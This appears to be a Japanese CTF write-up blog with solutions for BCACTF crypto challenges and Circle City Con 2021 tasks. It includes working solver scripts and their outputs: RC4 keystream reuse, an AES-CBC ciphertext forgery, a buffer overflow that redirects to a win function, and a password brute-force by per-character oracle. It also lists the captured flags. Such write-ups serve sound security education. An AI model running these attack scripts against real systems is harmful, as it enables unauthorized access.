c = 1879922562037963072325125556499104095457740584077567873217970367519076380025989311243974742849996920

phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, p * q)
flag = long_to_bytes(m)
print flag
bcactf{just-rsa-with-matrices-9385dax}

FNES 1 (crypto 150)

暗号処理の概要は以下の通り。

tempkey = SHA.new(int(key + int(time.time() / 10)).to_bytes(64, 'big')).digest()[0:16]
cipher = ARC4.new(tempkey)

■暗号化
・平文を入力
・RC4暗号化→16進数で表示

■復号
・暗号文を入力
・RC4復号
 →target_queryと同じ場合、フラグを表示

UNIXTIMEで1の位以外が同じ場合は、同じ鍵になる。適当な平文を暗号化し、そのXORを算出する。一旦接続を切り、再接続し、算出したXORの値をtarget_queryとXORして、復号すればよい。

import socket
import binascii
from Crypto.Util.strxor import strxor

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

target_query = 'Open sesame... Flag please!'

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('crypto.bcactf.com', 49153))

data = recvuntil(s, '>>> ')
print data + 'E'
s.sendall('E\n')

try_pt = 'a' * len(target_query)
data = recvuntil(s, '>>> ')
print data + try_pt
s.sendall(try_pt + '\n')
data = recvuntil(s, '\n').rstrip()
print data
data = recvuntil(s, '\n').rstrip()
print data
try_ct = binascii.unhexlify(data)

xor_key = strxor(try_pt, try_ct)

data = recvuntil(s, '>>> ')
print data + 'Q'
s.sendall('Q\n')
data = recvuntil(s, '\n').rstrip()
print data

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('crypto.bcactf.com', 49153))

data = recvuntil(s, '>>> ')
print data + 'D'
s.sendall('D\n')

ct = binascii.hexlify(strxor(xor_key, target_query))
data = recvuntil(s, '>>> ')
print data + ct
s.sendall(ct + '\n')
data = recvuntil(s, '\n').rstrip()
print data
data = recvuntil(s, '\n').rstrip()
print data

実行結果は以下の通り。

Welcome to your Friendly Neighborhood Encryption Service (FNES)!
If you and a friend both run this service at the same time,
you should be able to send messages to each other!
Here are the steps:
1. Friends A and B connect to the server at the same time (you have about a five second margin)
2. Friend A encodes a message and sends it to Friend B
3. Friend B decodes the message, encodes their reply, and sends it to Friend A
4. Friend A decodes the reply, rinse and repeat
Make sure to not make any mistakes, though, or your keystreams might come out of sync...
PS: For security reasons, there are four characters you aren't allowed to encrypt. Sorry!

Would you like to encrypt (E), decrypt (D), or quit (Q)?
>>> E
What would you like to encrypt?
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaa
Here's your message:
4623ff590e1d0f6610ee85cf640cdf902b8650689c01ece9e1b2b8
Would you like to encrypt (E), decrypt (D), or quit (Q)?
>>> Q
We hope you enjoyed!

Welcome to your Friendly Neighborhood Encryption Service (FNES)!
If you and a friend both run this service at the same time,
you should be able to send messages to each other!
Here are the steps:
1. Friends A and B connect to the server at the same time (you have about a five second margin)
2. Friend A encodes a message and sends it to Friend B
3. Friend B decodes the message, encodes their reply, and sends it to Friend A
4. Friend A decodes the reply, rinse and repeat
Make sure to not make any mistakes, though, or your keystreams might come out of sync...
PS: For security reasons, there are four characters you aren't allowed to encrypt. Sorry!

Would you like to encrypt (E), decrypt (D), or quit (Q)?
>>> D
What was the message?
>>> 6832fb564f0f0b7410e281802b439eb7268656298d0ce8e9f3b6f8
Passphrase accepted. Here's your flag:
bcactf{why-would-you-attack-your-FNES????-4x35rcg}
bcactf{why-would-you-attack-your-FNES????-4x35rcg}

RSAtrix 2 (crypto 200)

G = C * P * C^-1
M = m * G

このことから以下のように考えられる。

G^3 = C * P * C^-1 * C * P * C^-1 * C * P * C^-1
    = C * P^3 * C^-1

M^e = M^3
    = pow(m, 3, n) * G^3
    = pow(m, 3, n) * C * P^3 * C^-1
    = A

C^-1 * A * C = pow(m, 3, n) * P^3

P^3を出力してみる。

[1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0]
[0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0]
[0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0]
[0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0]
[0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0]
[0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0]
[0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0]
[0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0]
[0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0]
[0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0]
[0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0]
[0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0]
[0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0]
[0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0]
[0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0]
[0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0]
[0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1]
[0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0]
[0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0]
[0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0]
[0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0]
[0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0]
[0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0]

1となっている箇所が C^-1 * A * C の計算をすると、pow(m, 3, n)になる。p, qがわかっているので、あとはそのまま復号する。

#!/usr/bin/sage
from Crypto.Util.number import *

p = 94653748632775872562206813156858988240379536044871601072940225022186828970998253
q = 47982815420210848939631963090916124891858755590019708758250635504732488148835047
n = p * q
e = 3
N = 23

R = Zmod(n)
MS = MatrixSpace(R, N, N)
s = PermutationGroupElement('(1,6,8)(2,3,4,5,7)(9,11,13,15,17,19,21,23)(10,12,14,16,18,20,22)')
P = MS(s.matrix())
with seed(1): C = MS([randrange(100) for i in range(N*N)])
G = C * P * C^-1

with open('enc.txt', 'r') as f:
    c_matrix = MS(eval(f.read()))

A = C^-1 * c_matrix * C
c = int(A[0][0])

phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m)
print(flag)
bcactf{permutation-conjugation-magic-3x876oeu}

Rainbow Passage (crypto 225)

暗号の処理概要は以下の通り。

※実質"E"のみ選択可
・パスワードは32バイト
・平文を入力
・パスワードで平文を暗号化
 ・pm: パスワード2バイトごとの2進数の配列
 ・16バイトごとにpmで暗号化
  ・m: 16バイトのリスト配列
  ・c: 0のリスト配列(16要素)
  ・以下順に計算する。
   ・i=0, pm[0], j=0, pm[0]の0番目が1の場合、c[0] ^= m[0]
          :
   ・i=0, pm[0], j=15, pm[0]の15番目が1の場合、c[15] ^= m[0]
          :
   ・i=15, pm[15], j=0, pm[15]の0番目が1の場合、c[0] ^= m[15]
          :
   ・i=15, pm[15], j=15, pm[15]の15番目が1の場合、c[15] ^= m[15]
  ・cを返す。

c[i]に注目し、pm[0]~pm[15]の0番目の値のブルートフォースで条件を満たすものを探す。pmの値がわかるので、pmの構成から組み立てれば、パスワードになり、それがフラグになる。

import binascii
from Crypto.Util.Padding import pad

def check(pt_block, ct, flg):
    x = 0
    for i in range(len(flg)):
        if flg[i] == '1':
            x ^= ord(pt_block[i])
    if x == ord(ct):
        return True
    else:
        return False

with open('message.txt', 'r') as f:
    pt = f.read().rstrip()

with open('enc.txt', 'r') as f:
    ct = f.read().rstrip()

pt = pad(pt, 16)
ct = binascii.unhexlify(ct)

pts = [pt[i:i+16] for i in range(0, len(pt), 16)]
cts = [ct[i:i+16] for i in range(0, len(ct), 16)]

pm = [''] * 16
for i in range(16):
    for j in range(2**16):
        flg = bin(j)[2:].zfill(16)
        success = True
        for k in range(len(pts)):
            res = check(pts[k], cts[k][i], flg)
            if res == False:
                success = False
                break
        if success:
            for l in range(16):
                pm[l] += flg[l]
            break

pwd = ''
for i in range(len(pm)):
    pwd += chr(int(pm[i][:8], 2))
    pwd += chr(int(pm[i][8:], 2))

flag = 'bcactf{%s}' % pwd
print flag
bcactf{system-of-linear-equations-273de}

FNES 2 (crypto 375)

暗号処理の概要は以下の通り。

tempkey = SHA.new(int(key + int(time.time() / 10)).to_bytes(64, 'big')).digest()[0:16]

■暗号化
・平文を入力
・iv生成
・AES-CBC暗号化→iv + 暗号文を16進数で表示

■復号
・暗号文を入力
・AES-CBC復号
 →target_queryと同じ場合、フラグを表示

target_query(T)の長さから2ブロック分の暗号が必要。

平文1ブロック目 ^ IV              --(AES暗号)--> 暗号1ブロック目
平文2ブロック目 ^ 暗号1ブロック目 --(AES暗号)--> 暗号2ブロック目

方針は以下の通り。

・適当な文字列(P1)を指定し暗号化する。→暗号文: (C1)
 →C1[16:]を目的の暗号文の2ブロック目とする。
・C1[0:16] ^ pad(P1[16:]) = C2 ^ pad(T[16:])
 となるようなC2を目的の暗号文の1ブロック目とする。
・上記で適当なIV(IV0)で復号する。
・復号したデータ部分のIVと平文1ブロック目とのXORが
 T[:16]と目的のIVとのXORと同じになるIVを算出する。
・目的のIVと暗号文を指定する。
import socket
import binascii
from Crypto.Util.Padding import pad
from Crypto.Util.strxor import strxor

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

target_query = 'Open sesame... Flag please!'

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('crypto.bcactf.com', 49154))

data = recvuntil(s, '>>> ')
print data + 'E'
s.sendall('E\n')

try_pt = 'a' * len(target_query)
data = recvuntil(s, '>>> ')
print data + try_pt
s.sendall(try_pt + '\n')
data = recvuntil(s, '\n').rstrip()
print data
data = recvuntil(s, '\n').rstrip()
print data
try_ct = binascii.unhexlify(data)

data = recvuntil(s, '>>> ')
print data + 'D'
s.sendall('D\n')

ct1 = try_ct[32:]
xor1 = strxor(try_ct[16:32], pad(try_pt[16:], 16))
ct0 = strxor(xor1, pad(target_query[16:], 16))
try_iv = 'a' * 16
try_ct = binascii.hexlify(try_iv + ct0 + ct1)
data = recvuntil(s, '>>> ')
print data + try_ct
s.sendall(try_ct + '\n')
data = recvuntil(s, '\n').rstrip()
print data
data = recvuntil(s, '\n').rstrip()
print data
try_pt = eval('b\'' + data.replace('\'', '\\\'') + '\'')

data = recvuntil(s, '>>> ')
print data + 'D'
s.sendall('D\n')

xor0 = strxor(try_iv, try_pt[:16])
iv = strxor(xor0, target_query[:16])
ct = binascii.hexlify(iv + ct0 + ct1)
data = recvuntil(s, '>>> ')
print data + ct
s.sendall(ct + '\n')
for _ in range(4):
    data = recvuntil(s, '\n').rstrip()
    print data

実行結果は以下の通り。

Welcome to your new and improved FNES... FNES 2!
As before, if you and a friend both run this service at the same time,
you should be able to send messages to each other!
Here are the steps:
1. Friends A and B connect to the server at the same time (you have about a five second margin)
2. Friend A encodes a message and sends it to Friend B
3. Friend B decodes the message, encodes their reply, and sends it to Friend A
4. Friend A decodes the reply, rinse and repeat
PS: For security reasons, there are still some characters you aren't allowed to encrypt. Sorry!

Would you like to encrypt (E), decrypt (D), or quit (Q)?
>>> E
What would you like to encrypt?
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaa
Here's your message:
686024288cff6dd4617db0f8e9bb7a6969a2d81d8410bcb30040440b96c05c145c4939938ca3b981000633c9906bd300
Would you like to encrypt (E), decrypt (D), or quit (Q)?
>>> D
What was the message?
>>> 6161616161616161616161616161616164a2de5c951db8b31244040b96c05c145c4939938ca3b981000633c9906bd300
Here's the decoded message:
~"\xae\xdc\r\xf2\x83\xc0\xf3,m\x9f\x88)OHlag please!
Would you like to encrypt (E), decrypt (D), or quit (Q)?
>>> D
What was the message?
>>> 5033aad34ce087d2f32069d0c7660e6f64a2de5c951db8b31244040b96c05c145c4939938ca3b981000633c9906bd300

Passphrase accepted. Here's your flag:

bcactf{high-priestess-of-the-temple-of-apollo-49b7x}
bcactf{high-priestess-of-the-temple-of-apollo-49b7x}

Circle City Con CTF 2021 Writeup

この大会は2021/6/12 1:00(JST)~2021/6/14 4:00(JST)に開催されました。
今回もチームで参戦。結果は1471点で291チーム中37位でした。
自分で解けた問題をWriteupとして書いておきます。

[Sanity] (MISC)

Discordに入り、ルールの記載のところで、:thumbsup:のリアクションをしたら、たくさんのチャネルが現れた。現れた#ctf-generalチャネルのトピックにフラグが書いてあった。

CCC{r34dy_s3t_h4ck!!!}

Non Zero Sum Game (MISC)

問題にフラグが書いてあった。

CCC{I_r34lly_w4nt_t0_l0se_p01nts}

[Baby] Building Locator (OSINT)

Discordに入り、#ctf-announcementsチャネルのメッセージを見ると、この問題のフラグが書かれていた。
f:id:satou-y:20210624183250p:plain

https://www.taipei-101.com.tw

[Baby] Fawn CDN (PWN)

$ file fawncdn
fawncdn: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=28b35c5c7f454bbe88ca2eac5f69c05fb5c734fa, for GNU/Linux 3.2.0, with debug_info, not stripped
$ checksec.sh --file fawncdn
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Full RELRO      Canary found      NX enabled    Not an ELF file   No RPATH   No RUNPATH   fawncdn

Ghidraでデコンパイルすると、win関数があり、画像を取得できることがわかる。

void win(void)

{
  FILE *__stream;
  size_t __nmemb;
  void *__ptr;
  size_t fs;
  FILE *fp;
  uint8_t *buf;
  
  __stream = fopen("fawn.jpg","r");
  fseek(__stream,0,2);
  __nmemb = ftell(__stream);
  rewind(__stream);
  __ptr = calloc(__nmemb,1);
  fread(__ptr,1,__nmemb,__stream);
  fclose(__stream);
  fwrite(__ptr,1,__nmemb,stdout);
  free(__ptr);
  return;
}
$ gdb -q ./fawncdn 
Reading symbols from ./fawncdn...done.
gdb-peda$ start

[----------------------------------registers-----------------------------------]
RAX: 0x555555555493 (<main>:	endbr64)
RBX: 0x0 
RCX: 0x5555555555f0 (<__libc_csu_init>:	endbr64)
RDX: 0x7fffffffdf48 --> 0x7fffffffe290 ("CLUTTER_IM_MODULE=xim")
RSI: 0x7fffffffdf38 --> 0x7fffffffe277 ("/mnt/hgfs/Shared/fawncdn")
RDI: 0x1 
RBP: 0x5555555555f0 (<__libc_csu_init>:	endbr64)
RSP: 0x7fffffffde58 --> 0x7ffff7a03bf7 (<__libc_start_main+231>:	mov    edi,eax)
RIP: 0x555555555493 (<main>:	endbr64)
R8 : 0x7ffff7dced80 --> 0x0 
R9 : 0x7ffff7dced80 --> 0x0 
R10: 0x0 
R11: 0x0 
R12: 0x555555555260 (<_start>:	endbr64)
R13: 0x7fffffffdf30 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x555555555490 <deliver+62>:	nop
   0x555555555491 <deliver+63>:	leave  
   0x555555555492 <deliver+64>:	ret    
=> 0x555555555493 <main>:	endbr64 
   0x555555555497 <main+4>:	push   rbp
   0x555555555498 <main+5>:	mov    rbp,rsp
   0x55555555549b <main+8>:	sub    rsp,0x30
   0x55555555549f <main+12>:	mov    rax,QWORD PTR fs:0x28
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffde58 --> 0x7ffff7a03bf7 (<__libc_start_main+231>:	mov    edi,eax)
0008| 0x7fffffffde60 --> 0x1 
0016| 0x7fffffffde68 --> 0x7fffffffdf38 --> 0x7fffffffe277 ("/mnt/hgfs/Shared/fawncdn")
0024| 0x7fffffffde70 --> 0x100008000 
0032| 0x7fffffffde78 --> 0x555555555493 (<main>:	endbr64)
0040| 0x7fffffffde80 --> 0x0 
0048| 0x7fffffffde88 --> 0xca952ce7b30069c4 
0056| 0x7fffffffde90 --> 0x555555555260 (<_start>:	endbr64)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Temporary breakpoint 1, main () at fawncdn.c:46
46	fawncdn.c: そのようなファイルやディレクトリはありません.
gdb-peda$ p win
$1 = {void (void)} 0x555555555390 <win>
gdb-peda$ c
Continuing.
 ________ ________  ________  ________      
|\  _____\\   ____\|\   ___ \|\   ___  \    
\ \  \__/\ \  \___|\ \  \_|\ \ \  \\ \  \   
 \ \   __\\ \  \    \ \  \ \\ \ \  \\ \  \  
  \ \  \_| \ \  \____\ \  \_\\ \ \  \\ \  \ 
   \ \__\   \ \_______\ \_______\ \__\\ \__\
    \|__|    \|_______|\|_______|\|__| \|__|


1. List files.
2. Choose files.
3. Deliver files.
4. Quit.

cmd> 1
{" error ": "CDN contains no content at 0x555555555390"}
1. List files.
2. Choose files.
3. Deliver files.
4. Quit.

1.を選択すると、win関数のアドレスが表示される。
>|sh|
gdb-peda$ r
Starting program: /mnt/hgfs/Shared/fawncdn 
 ________ ________  ________  ________      
|\  _____\\   ____\|\   ___ \|\   ___  \    
\ \  \__/\ \  \___|\ \  \_|\ \ \  \\ \  \   
 \ \   __\\ \  \    \ \  \ \\ \ \  \\ \  \  
  \ \  \_| \ \  \____\ \  \_\\ \ \  \\ \  \ 
   \ \__\   \ \_______\ \_______\ \__\\ \__\
    \|__|    \|_______|\|_______|\|__| \|__|


1. List files.
2. Choose files.
3. Deliver files.
4. Quit.

cmd> AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL
Please choose a valid option!

1. List files.
2. Choose files.
3. Deliver files.
4. Quit.

cmd> Please choose a valid option!

1. List files.
2. Choose files.
3. Deliver files.
4. Quit.

cmd> Please choose a valid option!

1. List files.
2. Choose files.
3. Deliver files.
4. Quit.

cmd> Please choose a valid option!

1. List files.
2. Choose files.
3. Deliver files.
4. Quit.

cmd> Please choose a valid option!

1. List files.
2. Choose files.
3. Deliver files.
4. Quit.

cmd> 3

Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]
RAX: 0x41416741414b4141 ('AAKAAgAA')
RBX: 0x0 
RCX: 0x1999999999999999 
RDX: 0x0 
RSI: 0xffffffda 
RDI: 0xa ('\n')
RBP: 0x7fffffffde50 --> 0x5555555555f0 (<__libc_csu_init>:	endbr64)
RSP: 0x7fffffffde20 --> 0x7ffff7de3b40 (<_dl_fini>:	push   rbp)
RIP: 0x5555555555a0 (<main+269>:	call   rax)
R8 : 0x7fffffffde31 --> 0x414134000a4c000a ('\n')
R9 : 0x0 
R10: 0x7ffff7b80c40 --> 0x2000200020002 
R11: 0xa ('\n')
R12: 0x555555555260 (<_start>:	endbr64)
R13: 0x7fffffffdf30 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x555555555595 <main+258>:	call   0x5555555551b0 <printf@plt>
   0x55555555559a <main+263>:	jmp    0x5555555555c9 <main+310>
   0x55555555559c <main+265>:	mov    rax,QWORD PTR [rbp-0x10]
=> 0x5555555555a0 <main+269>:	call   rax
   0x5555555555a2 <main+271>:	jmp    0x5555555555c9 <main+310>
   0x5555555555a4 <main+273>:	
    mov    rax,QWORD PTR [rip+0x2a8d]        # 0x555555558038 <bye>
   0x5555555555ab <main+280>:	mov    rsi,rax
   0x5555555555ae <main+283>:	lea    rdi,[rip+0xc9c]        # 0x555555556251
No argument
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffde20 --> 0x7ffff7de3b40 (<_dl_fini>:	push   rbp)
0008| 0x7fffffffde28 --> 0x300000000 
0016| 0x7fffffffde30 --> 0x4134000a4c000a33 ('3\n')
0024| 0x7fffffffde38 ("AJAAfAA5AAKAAgAA")
0032| 0x7fffffffde40 ("AAKAAgAA")
0040| 0x7fffffffde48 --> 0x1af86f22e343f900 
0048| 0x7fffffffde50 --> 0x5555555555f0 (<__libc_csu_init>:	endbr64)
0056| 0x7fffffffde58 --> 0x7ffff7a03bf7 (<__libc_start_main+231>:	mov    edi,eax)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
main () at fawncdn.c:71
71	in fawncdn.c
gdb-peda$ patto AAKAAgAA
AAKAAgAA found at offset: 88

以下の方針でwin関数を実行し、画像を取得する。

・1.を選択し、win関数のアドレスを取得
・88バイト+win関数アドレスを入力し、returnアドレスを上書きする。
・win関数実行で取得した画像を保存する。
from pwn import *

if len(sys.argv) == 1:
    p = remote('35.224.135.84', 1001)
else:
    p = process('./fawncdn')

data = p.recvuntil('> ')
print data + '1'
p.sendline('1')

data = p.recvuntil('> ')
win_addr = eval(data.split('\n')[0].split(' ')[-1][:-2])

payload = 'A' * 88
payload += p64(win_addr)
print data + payload
p.sendline(payload)

data = p.recvrepeat(10)
print data + '3'
p.sendline('3')
data = p.recvuntil('\xff\xd9')

with open('fawn.jpg', 'wb') as f:
    f.write(data)

実行結果は以下の通り。

[+] Opening connection to 35.224.135.84 on port 1001: Done
[*] '/mnt/hgfs/Shared/fawncdn'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
 ________ ________  ________  ________      
|\  _____\\   ____\|\   ___ \|\   ___  \    
\ \  \__/\ \  \___|\ \  \_|\ \ \  \\ \  \   
 \ \   __\\ \  \    \ \  \ \\ \ \  \\ \  \  
  \ \  \_| \ \  \____\ \  \_\\ \ \  \\ \  \ 
   \ \__\   \ \_______\ \_______\ \__\\ \__\
    \|__|    \|_______|\|_______|\|__| \|__|


1. List files.
2. Choose files.
3. Deliver files.
4. Quit.

cmd> 1
{" error ": "CDN contains no content at 0x558610cbe390"}
1. List files.
2. Choose files.
3. Deliver files.
4. Quit.

cmd> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x90��\x86U\x00
Please choose a valid option!

1. List files.
2. Choose files.
3. Deliver files.
4. Quit.

cmd> Please choose a valid option!

1. List files.
2. Choose files.
3. Deliver files.
4. Quit.

cmd> Please choose a valid option!

1. List files.
2. Choose files.
3. Deliver files.
4. Quit.

cmd> Please choose a valid option!

1. List files.
2. Choose files.
3. Deliver files.
4. Quit.

cmd> Please choose a valid option!

1. List files.
2. Choose files.
3. Deliver files.
4. Quit.

cmd> 3
[*] Closed connection to 35.224.135.84 port 1001

読みにくいが、画像にフラグが書いてある。
f:id:satou-y:20210624183838j:plain

CCC{th3y_w3r3nt_ly1ng_th1s_CDN_c4n_d3l1v3r}

[Baby] Artform (REV)

Ghidraでデコンパイルする。

undefined8 FUN_00101189(void)

{
  long in_FS_OFFSET;
  undefined8 local_38;
  undefined8 local_30;
  undefined8 local_28;
  undefined8 local_20;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  local_28 = 0x625f3368745f7434;
  local_20 = 0x7d68357572;
  local_38 = 0x316c5f317b434343;
  local_30 = 0x33625f30745f336b;
  memset(&local_38,0x41,0x20);
  printf("You like to paint? You know what I say to that? %s!",&local_38);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

フラグらしきコード部分をデコードする。

>>> int(0x316c5f317b434343).to_bytes(8, byteorder='little')
b'CCC{1_l1'
>>> int(0x33625f30745f336b).to_bytes(8, byteorder='little')
b'k3_t0_b3'
>>> int(0x625f3368745f7434).to_bytes(8, byteorder='little')
b'4t_th3_b'
>>> int(0x7d68357572).to_bytes(5, byteorder='little')
b'ru5h}'
CCC{1_l1k3_t0_b34t_th3_bru5h}

[Baby] Guardian (REV)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  long lVar1;
  char *__s;
  size_t sVar2;
  char *__s_00;
  char *pcVar3;
  ulong uVar4;
  long in_FS_OFFSET;
  
  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  setup();
  __s = (char *)getflag();
  if (__s != (char *)0x0) {
    sVar2 = strlen(__s);
    __s_00 = (char *)calloc(1,sVar2 + 2);
    if (__s_00 != (char *)0x0) {
      __printf_chk(1,"%s\n\nHOOOOOOOOOO Goes there? Do you have the password?\n> ",owl);
      pcVar3 = fgets(__s_00,(int)sVar2 + 1,stdin);
      if (pcVar3 != (char *)0x0) {
        if (sVar2 != 0) {
          uVar4 = 0;
          do {
            while( true ) {
              if (__s_00[uVar4] != __s[uVar4]) {
                puts("\nHoo hoo hoo!\nThat is incorrect, my guardian.");
                goto LAB_00101336;
              }
              uVar4 = uVar4 + 1;
              __printf_chk(1,&DAT_0010200f);
              if ((uVar4 & 7) != 0) break;
              putchar(10);
              if (uVar4 == sVar2) goto LAB_001012ff;
            }
          } while (uVar4 != sVar2);
        }
LAB_001012ff:
        puts("\nWe will do our best.....you have fought well.");
        if (lVar1 == *(long *)(in_FS_OFFSET + 0x28)) {
          return 0;
        }
                    /* WARNING: Subroutine does not return */
        __stack_chk_fail();
      }
    }
  }
LAB_00101336:
                    /* WARNING: Subroutine does not return */
  exit(0);
}

フラグの先頭から1文字ずつチェックをし、チェックで不一致になるまで、チェックマークを表示している。先頭の文字から順にブルートフォースでフラグを割り出せばよい。

import socket
import time

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

finish = False
flag = ''
while True:
    for code in range(32, 127):
        try_flag = flag + chr(code)

        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(('35.224.135.84', 2000))

        data = recvuntil(s, '\n> ')
        print data + try_flag
        s.sendall(try_flag + '\n')
        try:
            data = recvuntil(s, '.\n').rstrip()
            print data
        except:
            finish = True
            break
        if data.count('\xe2\x9c\x85  ') == len(try_flag):
            flag += chr(code)
            break

        time.sleep(1)

    if finish:
        break

flag += '}'
print flag

実行結果は以下の通り。

        :
touch: cannot touch '/var/log/xinetdlog': Permission denied
!WWWWWeeu..   ..ueeWWWWW!
 "$$(    R$$e$$R    )$$"
  "$8oeeo. "*" .oeeo8$"
  .$$#"""*$i i$*"""#$$.
  9$" @*c $$ $$F @*c $N
  9$  NeP $$ $$L NeP $$
  `$$uuuuo$$ $$uuuuu$$"
  x$P**$$P*$"$P#$$$*R$L
 x$$   #$k #$F :$P` '#$i
 $$     #$  #  $$     #$k
d$"     '$L   x$F     '$$
$$      '$E   9$>      9$>
$6       $F   ?$>      9$>
$$      d$    '$&      8$
"$k    x$$     !$k    :$$
 #$b  u$$L      9$b.  $$"
 '#$od$#$$u....u$P$Nu@$"
 ..?$R)..?R$$$$*"  #$P
 $$$$$$$$$$$$$$@WWWW$NWWW
 `````""3$F""""#$F"""""""
        @$.... '$B
       d$$$$$$$$$$:
       ````````````


HOOOOOOOOOO Goes there? Do you have the password?
> CCC{let_m3_thr0ugh!_let_me_p4ss!_d0_y0u_th1nk_y0u_c4n_h3lp_h3r>
✅  ✅  ✅  ✅  ✅  ✅  ✅  ✅  
✅  ✅  ✅  ✅  ✅  ✅  ✅  ✅  
✅  ✅  ✅  ✅  ✅  ✅  ✅  ✅  
✅  ✅  ✅  ✅  ✅  ✅  ✅  ✅  
✅  ✅  ✅  ✅  ✅  ✅  ✅  ✅  
✅  ✅  ✅  ✅  ✅  ✅  ✅  ✅  
✅  ✅  ✅  ✅  ✅  ✅  ✅  ✅  
✅  ✅  ✅  ✅  ✅  ✅  
Hoo hoo hoo!
That is incorrect, my guardian.
touch: cannot touch '/var/log/xinetdlog': Permission denied
!WWWWWeeu..   ..ueeWWWWW!
 "$$(    R$$e$$R    )$$"
  "$8oeeo. "*" .oeeo8$"
  .$$#"""*$i i$*"""#$$.
  9$" @*c $$ $$F @*c $N
  9$  NeP $$ $$L NeP $$
  `$$uuuuo$$ $$uuuuu$$"
  x$P**$$P*$"$P#$$$*R$L
 x$$   #$k #$F :$P` '#$i
 $$     #$  #  $$     #$k
d$"     '$L   x$F     '$$
$$      '$E   9$>      9$>
$6       $F   ?$>      9$>
$$      d$    '$&      8$
"$k    x$$     !$k    :$$
 #$b  u$$L      9$b.  $$"
 '#$od$#$$u....u$P$Nu@$"
 ..?$R)..?R$$$$*"  #$P
 $$$$$$$$$$$$$$@WWWW$NWWW
 `````""3$F""""#$F"""""""
        @$.... '$B
       d$$$$$$$$$$:
       ````````````


HOOOOOOOOOO Goes there? Do you have the password?
> CCC{let_m3_thr0ugh!_let_me_p4ss!_d0_y0u_th1nk_y0u_c4n_h3lp_h3r?
✅  ✅  ✅  ✅  ✅  ✅  ✅  ✅  
✅  ✅  ✅  ✅  ✅  ✅  ✅  ✅  
✅  ✅  ✅  ✅  ✅  ✅  ✅  ✅  
✅  ✅  ✅  ✅  ✅  ✅  ✅  ✅  
✅  ✅  ✅  ✅  ✅  ✅  ✅  ✅  
✅  ✅  ✅  ✅  ✅  ✅  ✅  ✅  
✅  ✅  ✅  ✅  ✅  ✅  ✅  ✅  
✅  ✅  ✅  ✅  ✅  ✅  ✅  
Hoo hoo hoo!
That is incorrect, my guardian.
touch: cannot touch '/var/log/xinetdlog': Permission denied
!WWWWWeeu..   ..ueeWWWWW!
